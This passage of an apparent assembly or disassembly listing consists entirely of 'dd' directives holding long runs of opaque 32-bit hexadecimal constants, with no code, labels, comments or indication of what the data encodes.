0BB1940A6h, 0DBD1A509h dd 95F27076h, 0F800C864h, 91ECE253h, 9495796h, 68B9399Bh dd 7CAFFD71h, 5FB3626Dh dd 737EBA55h, 88CD7003h, 0D2F13D02h, 558B4198h, 14915EB5h dd 0BBF43089h, 0AF19F16Bh, 5DBF9718h, 71847B00h, 9DBB5096h dd 0EF3AF467h, 60F0AF26h, 0BE4A071Eh, 16B2BDA6h, 12FF9530h dd 0E3D88A8Fh, 103F4CF3h, 0CA4A2CADh, 2D3422F1h, 3EF633B3h dd 0BB4BF50h, 611C382Eh, 73A31674h, 23C6DD58h, 29072FB9h dd 553955BDh, 0E5BBE896h, 974D850h, 182D9D33h, 50BF7C94h dd 95247CCAh, 1971E65Bh, 0DC003118h, 88306410h, 2527F9BBh dd 62625187h, 3E511B5Ch, 0F4247CC2h, 0A03CD62Eh, 60FA8D12h dd 80930ABAh, 41D9DF4Bh, 40E53120h, 2FC5C60Ch, 3DABD98Bh dd 0A84A3D71h, 0CA6013Ah, 1252496Ch, 8D29FCA5h, 4C272520h dd 0C0DFB560h, 6779F64Eh, 3E00140Dh, 0BA662B9Eh, 0C05A13D9h dd 0EDBFF2C6h, 0B14AE961h, 82D61B1h, 20BD6B8h, 0CDC18BE8h dd 0BBA6C06Eh, 6425AA42h, 12B27D48h, 0B4B55Fh, 2F2DA4B2h dd 6809E787h, 7F0D978Bh, 2FE3CA4h, 0DFCBB560h, 2678E0CAh dd 33209048h, 9DF574DBh, 0ECBDB8E9h, 0B1014879h, 88F2D5EEh dd 8F100EE9h, 93045A2Ch, 1CD3F37Dh, 8BEACDEAh, 0DDF22EF6h dd 1661B022h, 0D5C08302h, 0F3BB1910h, 5010931Ch, 6D81F469h dd 0BE944B4Fh, 0AC29D0D7h, 9C0B8BFh, 905B0B5Dh, 0D7A518B7h dd 0AD01CC09h, 8026BBB4h, 78D78148h, 0D7189128h, 800E9B10h dd 17A9EBFh, 7BEC096Ch, 4DD58AE1h, 0C9F34994h, 0E4CE8038h dd 395576D0h, 879A9723h, 0A504AAFEh, 0C8BE6153h, 1700490Bh dd 0F615A49Ah, 3C945E96h, 2385B443h, 137684D1h, 5FD5E4C4h dd 0BFA58197h, 282F7A04h, 0FB979EA4h, 8A3D8DBh, 6D5CE9B8h dd 83028A40h, 6EAF00DEh, 458B06B5h, 891281C5h, 4DD4399Dh dd 0BD8AA9B4h, 5B53B260h, 8962AD9Ch, 0E25B5704h, 0ABC05F72h dd 61B509F1h, 0C104221Dh, 518D9E2h, 7CE66312h, 80525600h dd 5B5F69EFh, 56D3E927h, 21387158h, 0E4DB3A8Dh, 5B00CEC9h dd 5C6FFA9Eh, 905A9997h, 120B765h, 0B083A1F1h, 0DE898BDEh dd 71FB698Fh, 804B592Dh, 9CCD2D42h, 391C4045h, 0E2A843A0h dd 0D9C67D05h, 6FAB65BCh, 0F92303CAh, 8AD9B7BFh, 0CA9A5E4Fh dd 9DA30943h, 568079h, 0EBBF795Eh, 57223AE6h, 90F33527h dd 71D9087Ah, 4D75121Eh, 5B86F243h, 0E6C082DBh, 9074F952h dd 635E5F04h, 1192FF6Ah, 40751220h, 8032E904h, 401EE381h dd 0EC256674h, 893D453Ah, 102A7540h, 81164D37h, 37EC2FB0h dd 1B3F4780h, 17018251h, 0A305696Dh, 0C96A5F98h, 0DE7C89E7h dd 32448409h, 84B32AEh, 1AEF129h, 28A29CB4h, 0D0A27F45h dd 0BEC6C8C2h, 5316555Eh, 34D5CF04h, 4A4DE6BBh, 7781A3ACh dd 401B93F8h, 0F2D45692h, 0FAC1A5B0h, 5EEE4E2Dh, 30801C7Ch dd 0A14A4DB2h, 7DD36207h, 920FAB3h, 9F8E436h, 0A5A2F3F6h dd 0B513405Fh, 0A8115A2Dh, 4082C84Bh, 22319589h, 0BD233B84h dd 0B04ACB5Dh, 0A997B532h, 413F4B2h, 0EFE91AD3h, 319CCA67h dd 32A13585h, 1989EE0Dh, 0B760062Eh, 59950AFCh, 5EAF80ACh dd 1E142DB3h, 32E1930Eh, 49EAF666h, 4A7A5F81h, 0D7701A5Bh dd 0FEE0C68h, 56FCBB8Ah, 3519398Dh, 0D17E8D92h, 0BD2A8B19h dd 35BF0220h, 5E090F29h, 561C4451h, 0A5D4D01Eh, 0B7FE0A16h dd 6A20906Bh, 0D52D6990h, 422D7128h, 0CA0A5D84h, 0FC7C7009h dd 4D0710CFh, 94EB0298h, 5E2CA152h, 0BEB96423h, 96F25E1h dd 0B5D516D4h, 80181119h, 5E48E020h, 43F7B416h, 7EB8E2FEh dd 0EC00ADF1h, 6C88C62Ah, 4EFFB6A5h, 0CE6EBB26h, 0CA603B05h dd 2220AFB4h, 13DB770Dh, 89532627h, 15B82A4Dh, 0C1C2DF87h dd 3AECCA48h, 6E6E56B1h, 8D1F0078h, 2B5E176Dh, 78297158h dd 13639195h, 0FE816D2h, 81E3F6E4h, 55D8C9D9h, 0B6976173h dd 0D47E9624h, 679CE701h, 14697A36h, 404F7ECEh, 786099FDh dd 18E01001h, 9CD20DADh, 1965E4h, 480A62CEh, 0FC8A75E8h dd 579D66C9h, 391EDF2Ah, 437315ADh, 79D9CE32h, 4ECDA84Fh dd 0B962C435h, 0F5A6D320h, 759A3EA0h, 0E31BA10Bh, 987E59EFh dd 5FFE7C56h, 0F4307195h, 0F7E5205h, 7709088Eh, 7455EA82h dd 1BD0509h, 0E938AB27h, 0F60EB498h, 2E070E00h, 0C9C01385h dd 9E6BE1B8h, 0B9A5C010h, 7753BB8Ch, 5B442D80h, 1559E75Bh dd 0B704D518h, 316D9D01h, 65465EEFh, 1901A0D4h, 0E1FF61ABh dd 0E1138FE8h, 18BA987Ah, 33C9DC01h, 0CFFE2130h, 12957BC0h dd 0F2BDB954h, 8F3F883Ah, 33CF8509h, 0C077F8B7h, 0E83E56BFh dd 587D1Bh, 94919A12h, 96978E7Ch, 0CB4D0D09h, 44577963h dd 259EAB2Fh, 0BF2D6C0h, 0EA255320h, 1D24E549h, 86EF25CAh dd 1B8BEC40h, 0AB5050DDh, 0C1DF4BBFh, 0EC75BB2Dh, 8F973018h dd 4A09F62Fh, 1DD502C6h, 0BD610427h, 97692211h, 26E08E13h dd 1A00C8E3h, 31C79AA0h, 258C6902h, 2CDC934Bh, 7D259962h dd 7F4079CFh, 95E4FBAh, 8CF38853h, 0C740ABFEh, 918AB40h dd 0DB1F5B8Eh, 0F619182h, 0D8EA5F04h, 1A88135Ah, 0B53239D6h dd 0FA1BD200h, 9AFB914Bh, 1F041CE0h, 0E0E2FF92h, 8A138CFFh dd 8076D500h, 0ACA70A2Bh, 0DF26137Dh, 654FBE2h, 90FEC4E2h dd 5FB823BDh, 0D2A30A2Fh, 8618970Ch, 6120BD31h, 0C6680007h dd 0BB197882h, 0EC25C183h, 390AE148h, 0D5F267D1h, 5800CBB7h dd 0B5AFD4E9h, 0FD9B0B8Dh, 838092DDh, 5386F3CFh, 0DB963A95h dd 601A519Eh, 751F9E95h, 39C974CDh, 1A30D589h, 0A27E9F9h dd 0D0B27302h, 56712351h, 308A0F2Dh, 4E2FE660h, 99AD905Bh dd 9D2D29B9h, 61AEE179h, 0BD4B172Fh, 918EC1Ch, 88EEBABCh dd 173E3081h, 778E3039h, 740972C0h, 9550150Bh, 56493154h dd 0EDC96Bh, 54D275C0h, 0DEBA000Ch, 7BA00166h, 0A12DBD03h dd 0B00D7326h, 0B88DDFFEh, 0A7389B97h, 272A6593h, 1A90060Dh dd 0D100D925h, 0EABFF2E2h, 3EC56FDh, 0EBA836A5h, 500B1B69h dd 709ED2D7h, 0F6D949F4h, 0F8002491h, 51300317h, 89E0CD49h dd 0BBE3070Fh, 12FB0477h, 0B1DEC6AAh, 462E5F7Fh, 1CDE5504h dd 81834684h, 3E21F040h, 0A3FD2F96h, 5061FE0Bh, 7100201Eh dd 0EAE7A9C4h, 0E20835h, 2B580D03h, 0BF967982h, 0C6096778h dd 0C9880F1Eh, 206F5388h, 52A1DA7Eh, 2D3CFA01h, 968C1E17h dd 0C001642Fh, 0F9345063h, 0A4046800h, 0DCBB382Fh, 9216F8FEh dd 0A7FB1FE2h, 0A0DD2530h, 40265108h, 0C11A9707h, 235910FFh dd 6C1600F2h, 2048329Bh, 0DF006576h, 0D83D59ABh, 0BAA469AAh dd 9C6BB0A9h, 0DE1F2C78h, 917DB901h, 33BBDFB5h, 0EE7F7C50h dd 304B2C7Bh, 0DC7409A6h, 0B5E894D5h, 54435A6Dh, 9ED3A0F0h dd 0BB660256h, 615F6D05h, 7E7A895Ch, 0BC3EDC8Fh, 0C509F4DBh dd 59423532h, 311046DEh, 2DB8009h, 6B795C8Bh, 11AF04F7h dd 80EE83B8h, 9F2AF381h, 87185B89h, 0FCDBB454h, 4E85A05Ah dd 26F39504h, 5266E8D0h, 23CDA7F9h, 11F74157h, 93287F28h dd 196D65BDh, 0C954D260h, 997213C2h, 4AF56139h, 0B50830E6h dd 7C7215F1h, 79BFD462h, 0BD094B4Dh, 9EE725B0h, 8D8D2F4Bh dd 40793960h, 0F169608h, 0A5890E8Dh, 0F22E8A21h, 6093DF28h dd 0C700DCA2h, 938169C1h, 0BE00CB92h, 8099DD5Ah, 0D3D7F634h dd 575E0F44h, 0FDBA6680h, 96E261EDh, 7E407E9Ch, 0C436Ch dd 2A55C17Bh, 70D4DC15h, 1B2BA375h, 6093B5B7h, 8F00D7B2h dd 0C8E72702h, 86016EEEh, 1ECCB5ECh, 0EAF0CF5Bh, 2427AF5h dd 6381BAF1h, 0C15C0E55h dd 0F4C4DC49h, 18DAE20Bh, 17185D87h, 0B9020171h, 7536BE0h dd 56E8B2DDh, 98D86BAFh, 53969295h, 7EF871C6h, 2BE98BC1h dd 8356716Eh, 0B56F6AC2h, 0C158D302h, 0C4755214h, 8D539D35h dd 0F320500Bh, 0C8227082h, 7A254372h, 698C10Bh, 84E60405h dd 806BAE4Ah, 0DD271D23h, 0BA48E810h, 70FE622Fh, 12941B0h dd 2B0CD199h, 0B02F8E9Dh, 768624A6h, 3EFB9FBFh, 529BDCADh dd 5D612F4Dh, 51FA0FE3h, 558D048Fh, 0B3960228h, 0BFB2E319h dd 65DB746Bh, 1672C229h, 6DB5C20Eh, 0D637D50Ch, 0F4821691h dd 35D5DD38h, 801991C7h, 0ABF9B3EAh, 0CD3F5EE3h, 0A2282B42h dd 0F682BC37h, 664D9600h, 79CB1376h, 992326A2h, 11B60747h dd 59614357h, 0F127AE94h, 60282D14h, 0F451AC4h, 0D850102h dd 0F961CE49h, 0F319E189h, 0F08A101Eh, 9FB7C6A5h, 2F017AC4h dd 0DC20EE42h, 0CC701171h, 86258B02h, 6451ED5Bh, 0E0F36018h dd 0EA702525h, 0B59DC3CEh, 0AA3802F6h, 0B34041C9h, 8B90A3EAh dd 9E6A0D45h, 6C6A5F16h, 65554A00h, 35EC063Ch, 81FCFA00h dd 6A2B3DDFh, 2ED950Ah, 0D8601C64h, 2A024253h, 19FEE3DCh dd 6DDA8231h, 0EF4C7D0Dh, 17FEE8B7h, 485F022Ah, 24407AA7h dd 0F812F65Ch, 0E9D2F4E3h, 4C7A84Ah, 4DEBDC32h, 0CBA269h dd 0F314ABDh, 0F3F857h, 523AEFCh, 0E9FF7885h, 0D6E9547Ah dd 557205DBh, 80A595D1h, 8B43D90Ch, 202BB8C1h, 0BBFA2E3Dh dd 0C6C42625h, 25061D5h, 0C65F5B52h, 95192477h, 2ED4C9BAh dd 77F0E9E6h, 4A00E052h, 25A57566h, 269D0363h, 64AD225Dh dd 72A7AA83h, 94F4A227h, 263D87C0h, 183C701Fh, 0C088406Eh dd 0FE4B0206h, 0E6F04CE6h, 730B72B7h, 7FC08328h, 50BF7B37h dd 322DDBB6h, 60555E7Ch, 99D50F1Fh, 95360800h, 0CC68D261h dd 4D100A3h, 0F27D6044h, 8E982AE0h, 0E023D697h, 7E746F35h dd 96FED61Ch, 7283E49h, 0A042D792h, 57D392D8h, 422B2D90h dd 64E49200h, 0F3BD38D4h, 4B95EC93h, 5B78E0C7h, 418BCF9Fh dd 7FDBB795h, 0FF19F009h, 2CC16230h, 92484412h, 6513F1BDh dd 9F8AEA13h, 0ACB4AE46h, 280910E3h, 5527744Ch, 69524F5Ch dd 2C91D1C4h, 0F2CA4A41h, 0D37C8427h, 0FAB5D5E2h, 0C5C33187h dd 42E7540h, 4D029709h, 0DF25C006h, 0F54BB06Bh, 0D5042FE5h dd 2FB26EBFh, 4B9AD40Bh, 0EDB53614h, 7FBF4067h, 1F094BF8h dd 5E6FE9CBh, 2510713Ah, 76E3AABh, 11BF05Eh, 97600A40h dd 0CB4E00FCh, 61C07C87h, 39613555h, 628BB877h, 41094498h dd 0DAB03078h, 7B1FD925h, 5D76BE6Eh, 501490B5h, 0CDBCA66h dd 0D6D0B8DCh, 5D46FAFh, 60A39A34h, 71BD07CCh, 3C3D0915h dd 905D45BEh, 36FC57Bh, 8FDB9FC4h, 5A16E08Eh, 0A1827185h dd 40EEFC61h, 8A3715C7h, 4C015A00h, 8FA9DC78h, 520C03ECh dd 2CC65677h, 25989A4Bh, 7DF72580h, 0DC97F7C6h, 6AFA63DFh dd 9B5A8FCh, 595EC8B7h, 1ED400CFh, 25BC19D3h, 874545Ch dd 122409B5h, 22E1E6FCh, 16B07013h, 2469BD03h, 47878030h dd 7027E6ADh, 27690457h, 71E45B01h, 0FBF77B60h, 0BA4EF839h dd 71B2B552h, 0C32B8118h, 79BCC8B6h, 0D8CE2F40h, 78F212E5h dd 60060012h, 8490737Ah, 18E28701h, 6BA623Fh, 298B72Ah dd 0ADEA0FAEh, 7F8CC217h, 0C7E4F48Bh, 10E99510h, 0F0EFD5Bh dd 9F31B3B7h, 0CCFB1452h, 124469D2h, 5404B7C8h, 244887D1h dd 83B4B882h, 0F908C781h, 190174E6h, 55D91204h, 0FDB5D168h dd 4BB30CF3h, 2EA192F0h, 5786C92Eh, 1400AA14h, 605376A6h dd 2489DB2h, 38B7D775h, 1C8244E9h, 0F9290C8Bh, 0E11AA5CFh dd 2722715Dh, 0B356C3C2h, 664F2044h, 0D5BD4787h, 0FE160CA5h dd 44FB59F0h, 336D02D6h, 6555A19Dh, 680784E4h, 0BC0CFDFDh dd 0EA91F877h, 9FC209B8h, 985F7A09h, 2C1D8h, 0EB270659h dd 73E2FEEh, 0BBB29E00h, 0B44E4084h, 4DA64CA7h, 0F2223D17h dd 0C1005065h, 0E2FF1645h, 1AB8572Eh, 0D124BD0Bh, 0E3406F31h dd 38B9E790h, 0A95E0823h, 24A1BC27h, 2962C0Eh, 7472D55Ah dd 9231205Eh, 7907256Dh, 0A071E9FBh, 0EBF81AFDh, 107F1948h dd 6585DC5Ch, 4B722D9Eh, 2D676EFEh, 62F77C69h, 8DDD22Bh dd 6E4A913Dh, 0A6D86725h, 90482901h, 8D018282h, 0F5CDA50Dh dd 0C0039FEAh, 9BE2309Eh, 0A65E2418h, 4F51313h, 0F7081544h dd 0B8F05D8Eh, 58AD0425h, 0B8E30CCBh, 8501C5E3h, 0AB65D4BAh dd 1DC8E12Eh, 0BF685BC0h, 9F37F40h, 0CFED4A21h, 0DA473376h dd 6132EEB2h, 0ADF4C16Dh, 0B19D542Ah, 0C61C9712h, 0C26B2545h dd 33070B85h, 39D9B567h, 352EF81Ah, 3C2C1A8Dh, 0FB0B1E44h dd 558AE1FFh, 269B716h, 76EDDD0Ah, 2CAE9BC4h, 450F3A9h dd 3AF3995Ch, 0AA8D26B3h, 74A63F26h, 742BEAF0h, 36BE60E6h dd 77F618DCh, 0C66F569Ah, 612D9A98h, 5820093Bh, 29CD975Bh dd 0F1E087C7h, 1283019Bh, 0BEC79DABh, 5EA555C9h, 7B318261h dd 8C6A78E1h, 1416A58h, 290DF201h, 0C84C9B2Bh, 0FD22C01Ah dd 0EBFAB15Eh, 1CADD54Eh, 8C1AACh, 0D8C67AA5h, 0FC64746Dh dd 7B75017h, 236FDE53h, 0B6DB4800h, 736BC0E5h, 0CA42330Bh dd 0BCFA7656h, 0DAF22041h, 4C03A05Ch, 0DF9B4A13h, 269395C0h dd 2E13DB68h, 0A0E2CE51h, 52A9E900h, 0A05B7932h, 0DF83551Dh dd 6E500E8Fh, 0EBF262BBh, 63B4F105h, 0FE71815Bh, 49CDD53Eh dd 1F11BC69h, 0C1103851h, 7CB0FF3h, 73742A30h, 4BC23BDAh dd 0D05453F9h, 10866E25h, 0D386E9DEh, 87A831ADh, 2062FC0Bh dd 0F3E798C0h, 0DCF41314h, 21000485h, 0C92DAE1Fh, 29C2AD5Ah dd 46552A12h, 0A9BF04A0h, 0B84AE2E3h, 0E7B4F71h, 8A597E00h dd 0BB616ACh, 0F67D9D2Dh, 0B8DF449Ch, 0F056CB70h, 0DF9B748h dd 96A03549h, 2DDDA867h, 2083F806h, 5F4919FDh, 8C1CB8FCh dd 0FE7DB400h, 0A1232AF3h, 6CC05CB9h, 22B1127Dh, 3A80E102h dd 0CE8216DBh, 0ED70CFAFh, 0C3BD124Ah, 86E397h, 58A47F9Bh dd 0B86096B8h, 0B9054433h, 0BBB0110Bh, 0C44415h, 90B6CCEDh dd 0F29EC761h, 0A3FA4302h, 0F5A77E27h, 0A456CD60h, 963CEA13h dd 0DFE00FA6h, 0EA022164h, 3A15C0EFh, 2565E7Fh, 0B5FF3431h dd 147BFD7h, 0D21D2F63h, 0A238D44Ch, 69CE7995h, 57500083h dd 6789BFA8h, 4DDE5B79h, 6080FA03h, 53AECC40h, 8F4B04D6h dd 0E3D4AAABh, 0B875F3B2h, 9420E41Dh, 6BEB8780h, 0B5D7A9A1h dd 811D116Bh, 0FE3BFBA0h, 0C4F44681h, 3B8B4C82h, 27900388h dd 125739B3h, 60297663h, 6B1BA9B0h, 0A7AC0C4Bh, 2E905BB1h dd 5684AEDBh, 4A86CA98h, 73D6AAFh, 0FE7A6D2Eh, 0D4E8E174h dd 22DDD30Dh, 383532E2h, 1789BC61h, 61AE2565h, 0C48510ABh dd 4D1231F8h, 13F3CC47h, 80C6DAD6h, 13672F8Dh, 6D1214AAh dd 2412FD76h, 0EC12EAB2h, 0C8D73B2h, 8FD86A3Fh, 87E57DBDh dd 599A937Eh, 49202EE7h, 9786D175h, 346068DCh, 90671E40h dd 51BD1597h, 0D22E316h, 1747AE00h, 2CE024D8h, 0B3770455h dd 0BCBF2DF4h, 478A152h, 0A08EA73Bh, 0FEB96D67h, 4614F6Ch dd 0B1919D47h, 0C0A62A77h, 0B9E2AD92h, 5F46BC3Bh, 43BF6830h dd 74B42547h, 5BE9AA56h, 3369500Bh, 0F1AFD006h, 27CA538Ch dd 515627A1h, 3E8D2950h, 0B8CE2AFDh, 0B13CAB07h, 85CE3200h dd 8DD781F3h, 77C40D00h, 0FE54BF50h, 0C5094A22h, 0C0609B23h dd 39D8320Bh, 556595C8h, 4CC7EC50h, 3412ED23h, 4F5FF396h dd 450FBF05h, 12169566h dd 0F376AAF3h, 0E3047A3Ch, 4B878D5Ah, 0BB9740BCh, 94053C7Ah dd 0FCDC25B4h, 7899806Eh, 0FAFE0463h, 2A6C1397h, 5BD10C46h dd 0F84A8EBCh, 15B2DCE6h, 130EB330h, 978E780h, 7678FB61h dd 1F78FCB3h, 0ACA7176h, 25B8FA96h, 205001C4h, 25399D2Bh dd 82A62AEFh, 153017B2h, 4F0C12D7h, 6D39F1F9h, 3494EC3Ch dd 6B3CE615h, 2C630079h, 0F3DADFCEh, 0BA302746h, 7D8992FFh dd 0F7DB908h, 0D93461FCh, 78204110h, 0D989B997h, 0B090460Ah dd 25208CF0h, 6D7C31CAh, 17275C49h, 0D8E28819h, 1BADC792h dd 60BF2AE0h, 8F30980h, 9EF4810Fh, 13036158h, 0AB079DBDh dd 1B23156Fh, 8F06F100h, 3166E803h, 11D4837Bh, 7FB22A34h dd 83289AD6h, 1264E5D2h, 0BC273954h, 754AE257h, 79841CBDh dd 64A0D6F1h, 969E2F40h, 7D7CA089h, 96DBDF3Bh, 0FE46F18Ch dd 0E5ABB0ACh, 0ED951873h, 6214646Dh, 7F2E9AECh, 0DD258BECh dd 0B46C7B32h, 0A283B893h, 9B32837h, 0BAD51F35h, 0B46B40BEh dd 2A60483Eh, 8020E25Fh, 662F0691h, 952200C0h, 8916A935h dd 75F28F4Dh, 617BDF0Ah, 0D50B31C6h, 5BFD528h, 0C0A0D4AFh dd 912D1E06h, 0AD15C513h, 850CD431h, 0F858E43Bh, 0F38A1613h dd 0DF00A9E2h, 37ACE145h, 7300291Bh, 0B02FC089h, 260179Fh dd 0A05DC216h, 9FF5BC7h, 80B45334h, 4B1CEC7Fh, 31024403h dd 459501E1h, 0E95F010Bh, 5FC02BB4h, 94C18BF5h, 0C09DDCB8h dd 5A97E5Ah, 8D89C129h, 0EC7FD4CDh, 0BB5381C9h, 99C22E40h dd 0A7800FCDh, 0B31E0FFh, 0D9E604ECh, 37CCEE00h, 0CF9E205h dd 0CDED00D8h, 0F130023Ah, 0FCF11AC2h, 0DD012E90h, 0EC1DC027h dd 0FF8D38h, 5FFCBD10h, 2398751Eh, 8B369B03h, 0D4A5B6h dd 67A44A13h, 5653B366h, 0CE7AC000h, 0D808B31h, 3BBA0F5Ch dd 6D677B92h, 6382734Dh, 578A3B0h, 2996861Eh, 0B31A8540h dd 38A5F56h, 0BB1D9A3Fh, 0F7EB9148h, 740F24F6h, 837E6787h dd 0D8729B44h, 93A366h, 1B927B64h, 0C529B41Ch, 3434A3Dh dd 51088D76h, 5B5C9098h, 14990070h, 575EA513h, 48729671h dd 0DDDA9F00h, 1CEB0BFEh, 0D9200CCEh, 0BC733F3Ah, 0C02FBF01h dd 1C5DFE1Fh, 0EC991780h, 0DCA4FD08h, 0D1C79507h, 0FB21E118h dd 5C70D882h, 0EED000FFh, 8C1981Dh, 0A9064CE6h, 413CD742h dd 1ABE6023h, 0F9E133D4h, 2D52FC00h, 0D22135C3h, 971E2AEBh dd 0CFD800C5h, 0C9AE1FEEh, 0E350EA25h, 0AF748C5Dh, 9535A800h dd 6897B772h, 4BB41D7Ah, 8265409Fh, 7029AC59h, 7853B900h dd 0B21CC7EFh, 37B60658h, 38994394h, 1BA4850Ch, 9619AFh dd 0AD64A745h, 91CDA074h, 0CC8DFC01h, 4DC21E99h, 647DC940h dd 0EC9B30DFh, 53B217CAh, 7455621Fh, 0D5B01C83h, 0EE139089h dd 0F7EB03E6h, 0AD7E252Ah, 9A6C7AD8h, 2FA5C604h, 0D8A97F4Dh dd 638CC900h, 40B55678h, 0EC836900h, 1723FB6Ch, 0CDC00009h dd 9BBFA82Ch, 4B90E5DAh, 91E6690Ch, 0C3482F8h, 5425360Bh dd 0D401D111h, 0AF97C342h, 6C87D03Dh, 71D2EE09h, 92010D19h dd 5200D777h, 0FE1C6088h, 42400025h, 6D3CB178h, 0C6032AC9h dd 7B634449h, 438E9062h, 10A70352h, 2A785CADh, 0E1BDC7F8h dd 7358BEA0h, 6F7D6000h, 5FA16686h, 408901D2h, 0AC559C4Dh dd 13F1F028h, 3100AB77h, 5E59C41Dh, 7547C70h, 17A089BBh dd 33C260B3h, 6101838Ah, 0B7608CBFh, 3C24E19Ch, 78A10C5Eh dd 1F11A2DBh, 72A76203h, 0CF18CC7h, 9DB16E15h, 6D0E94B7h dd 0C09B6852h, 0C713F272h, 4CFC98E5h, 3306D6D7h, 3B3A43D0h dd 24CAB700h, 0B02EB0Ah, 0F02B1BD6h, 1DD91D8Dh, 0E107E0F9h dd 5821321Ah, 0C8E74319h, 1A2D438h, 9B6B9F43h, 0E4746D81h dd 59142D39h, 15C06677h, 0BBDF30h, 81C9090Bh, 1410E212h dd 75E056F8h, 46B168A0h, 0CF5FA400h, 5CA71116h, 0A81299A5h dd 4E7C24FBh, 93370019h, 4E38174h, 508D61Fh, 0FB7E9DC6h dd 59780351h, 4821946Fh, 408EA000h, 7C97806Ch, 7D419A01h dd 0B816247Eh, 42870F66h, 0C8B10CDDh, 90904543h, 0C0597C24h dd 37BE6B1Eh, 0B4901DF4h, 0FEA049A2h, 17BF60BAh, 40AF3F3Ch dd 0C6A9B3Ah, 1BB0C98Ah, 45CA0026h, 78259950h, 2A020DD6h dd 614647C4h, 9065637Dh, 0F5A9B5h, 0F8B6A46Bh, 42AD9FFh dd 5C509DE8h, 77441AA8h, 759FA0ECh, 7DB42457h, 0CB880660h dd 2F006DB2h, 696C9D40h, 1D579B0h, 5B52B716h, 4097705Ch dd 6C61ACACh, 33123298h, 0D200956Bh, 0A0BB5C80h, 5A47C0DDh dd 5EC064ADh, 0AB008C74h, 54787F2Ah, 67B0A3B3h, 5E6F27CAh dd 1199E446h, 0C5691609h, 797E0036h, 2449B651h, 0CC4649Fh dd 73C85DA3h, 3576A100h, 0A706B155h, 0E19B5887h, 0AE6E6680h dd 0F2287723h, 2E49800Ch, 0A1E860D9h, 1C7C5E8Dh, 0CA655287h dd 4D21184h, 98A54A2Dh, 0B51C1894h, 7CC07254h, 0C7ED4FC5h dd 1294007Ah, 2FCBF981h, 15007EDDh, 3EF314B8h, 0EF1AC1h dd 3CA1865Fh, 19F560B4h, 66836A18h, 789E3DFCh, 29E03B6Bh dd 64D96100h, 51D4D870h, 0D623AA03h, 0E095C140h, 4C08FDDEh dd 0B3004885h, 1246FE05h, 0A3605E84h, 109E3104h, 8135030Dh dd 413D40DBh, 0CDBAB212h, 63081400h, 1B2F8Fh, 1F9CDD7Eh dd 6C19239Dh, 4730A503h, 0D7454AA6h, 91BA3560h, 83A40058h dd 34B9527Ch, 2200D165h, 0EA950BDh, 5459AEh, 0CB787185h dd 239CD9B0h, 9028739Bh, 1398348h, 0E9F510E8h, 0F3D4BA45h dd 7273D02h, 0DB0600F2h, 651896F9h, 0B200C786h, 9F75929Ch dd 21A02ADh, 0DD713979h, 0D846B10Eh, 4027C007h, 4C706E9Fh dd 3CC767A0h, 3BFF861Eh, 238114B9h, 0BF42DE4h, 20F547E1h dd 41CEF20Dh, 6EAD4C1Fh, 88FCE33Dh, 4B50009Bh, 48D60191h dd 705D5A65h, 241E3526h, 0AA4C2680h, 0F6A24D7Eh, 1CC824h dd 5B0E7F8Ah, 3972AFBBh, 35FC0B01h, 913B4F0Ch, 20D9B440h dd 798A20F3h, 0F41A0702h, 0C0F1CDFCh, 0EAC2C9h, 4D7E80AFh dd 0E51CD572h, 18F5DA00h, 0B34CEDF6h, 0F2041E0Bh, 0E33C003h dd 4B42CDF1h, 89826C1Fh, 7A9C5542h, 383540C0h, 0C6DD009Eh dd 0BC0AE227h, 9B055644h, 5DB00D1Ah, 0F5AEC982h, 6AB83343h dd 9F0067B8h, 8B54FA2Fh, 3E202E19h, 0B29CA34Ch, 8380C155h dd 0FEC29E73h, 67928A80h, 0A350D1ACh, 51094EF2h, 204961BDh dd 65FFC3ACh, 2ED50203h, 3C1D3EE3h, 0F9A99540h, 0EA010C7Bh dd 0FCE50906h, 1BA82657h, 0EE8400BBh, 5F04EBDFh, 3F00BE50h dd 78645B13h, 74B1E8Fh, 0F525BFABh, 0E60A204Ch, 42120529h dd 6A073F17h, 0D0E327D4h, 9877FD8h, 3ADC318Eh, 60696C87h dd 863B4B08h, 0F9A6C5A0h, 13B74001h, 0D4F601F4h, 0DFFDFE80h dd 5EF0A92Ch, 0C5A28524h, 0CACB4000h, 48A80Fh, 0DE13C6C7h dd 0D8319C23h, 0F0C8D551h, 0F9141ADFh, 38EC8480h, 0FFEE00FDh dd 0ED0A2FDEh, 183E03D1h, 853444CFh, 0FB4223Eh, 0BBAB8C01h dd 0EBF8CB54h, 21C0083h, 0A582F05h, 810B8C54h, 0E765755h dd 0EA79AC17h, 0A6483FC3h, 964ADC12h, 0BC0C3D28h, 0F4934BFh dd 10FCC6h, 93CA2AE9h, 5451299Bh, 79566112h, 92C3C61Ch dd 9122AA44h, 0B2E4F3ABh, 0F5B03FBh, 61984199h, 9EA2C7C0h dd 9F3D1D01h, 548D7A6Ch, 1781B6E9h, 53E07633h, 0B5C8C8AEh dd 0F17B3289h, 200F8014h, 0C588AE63h, 18B3482Fh, 0E6ACB600h dd 15A6C3B8h, 0F113DE0Ah, 139D24Fh, 2A72EDDh, 0AF342851h dd 31F839A5h, 90CB4100h dd 1FBBDF14h, 69EE43B8h, 9A6F4E00h, 3023D174h, 0AA2F0194h dd 22E71ECBh, 0FDDC0F7h, 0E998FE02h, 60207718h, 9B9C3Ah dd 9926DB32h, 1BF2DA35h, 0EA9338h, 8AA44A47h, 3A8B826Bh dd 586956h, 37B8C101h, 40352398h, 55963DBEh, 4F56DA00h dd 8F0605E7h, 0C64703A8h, 5C8A7DCFh, 13EE4004h, 0D5C07508h dd 35F2F7h, 3AF4E221h, 11BB20BDh, 26F3FA00h, 43AC4BEBh dd 4CF200ADh, 58D350C1h, 73172A1h, 97843CC4h, 6C060E29h dd 18C3CEAFh, 935E4B04h, 0C2C1B983h, 31800F6Ah, 0C7288F8Ch dd 8FA04F46h, 0B57B5875h, 0C0477300h, 0D67D5BECh, 6B1700EFh dd 0A25722CBh, 0D8600871h, 7698853Eh, 0B3521F77h, 0BD48008Eh dd 9BB86138h, 24D7E230h, 78CA25Fh, 0AF8AB753h, 2819ADA4h dd 740D60A8h, 6A1787h, 432935C4h, 26D1739Ah, 0AA12C905h dd 0D81C02Bh, 20C85C95h, 73A01859h, 7D87850Ah, 50E2C305h dd 0DC4BD766h, 0DCDD11A4h, 0BF00B837h, 0AC658C09h, 0A15C3E29h dd 5F7E1648h, 9A449700h, 57B7C71h, 3235B84Fh, 6FF0808Ah dd 3A1DBB4Ah, 75C08B2Dh, 0CCC14E72h, 2468181Bh, 0C896874h dd 0F35E0EDh, 0CF2C11CFh, 81E18151h, 91AF04C1h, 2E879E06h dd 0BD375C60h, 38F77B70h, 4D874515h, 60B0E581h, 